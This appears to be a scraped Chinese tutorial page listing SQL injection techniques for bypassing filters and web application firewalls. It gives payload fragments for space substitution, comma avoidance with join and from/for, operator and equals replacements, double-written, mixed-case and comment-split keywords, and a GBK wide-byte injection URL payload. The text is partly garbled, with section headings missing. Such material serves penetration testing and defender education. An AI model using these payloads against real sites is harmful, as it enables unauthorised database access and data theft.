sql注入常见绕过方法 |
您所在的位置:网站首页 › select被过滤怎么注入 › sql注入常见绕过方法 |
一.绕过空格
1.使用tab缩进尝试绕过 2.尝试使用%a0来代替空格 3.使用()括号来绕过: 4.使用注释符号/**/绕过 使用十六进制代替 将zhangsan变为16进制后正常输出 1.使用from 布尔型盲注的时候用来猜数据库名称时的测试语句通常为 1 and substr(database(),1,1)='e'--+ 使用from for变为: 1 and substr (substr(database() from 1 for 1))='e'--+ 2.使用join union 联合注入查询通常使用的语句为 union select 1,2 --+ 使用join变为 union select * from (select 1)a join (select 2)b --+ 3.offset limit 语句通常为从第几条开始取多少条数据,后面跟上offset,limit表示要取的数据量,offset表示要跳过的数据量 and = && or = || xor = |#(异或) not = ! = != (不等于) 五.绕过等号使用like,%表示通配符 1.双写绕过 如果防火墙只对敏感函数做了一次过滤,可以尝试使用双写绕过 union select * from test ; 变为: ununionion sselectelect * ffromrom test; 2.大小写绕过 如果防火墙只匹配全部小写或者大写的敏感函数,可以尝试使用大小写绕过 union select * from test ; 变为 UniON SelecT * From test; 3.注释符绕过 若防火墙只匹配完整的敏感函数可以使用注释符号将其分隔开来尝试绕过 union select * from test ; 变为: u/**/nion sele/**/ct * fro/**/m test; 七.单引号过滤绕过单引号被过滤可能是因为被转译了,这个时候我们可以尝试使用宽字节注入来尝试绕过 宽字节注入:web网站和数据库的编码格式不一样,导致信息传输的过程中单引号逃逸。gbk编码为两个字符,askii码为1个字节,使用%df‘,带入数据库的时候就会把单引号转义,变成%df\',正好反斜线的askii编码%5c和%df组成了一个新的汉字字符,导致单引号逃逸 示列:php?id=-1%df ' union select 1,2 --+ |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |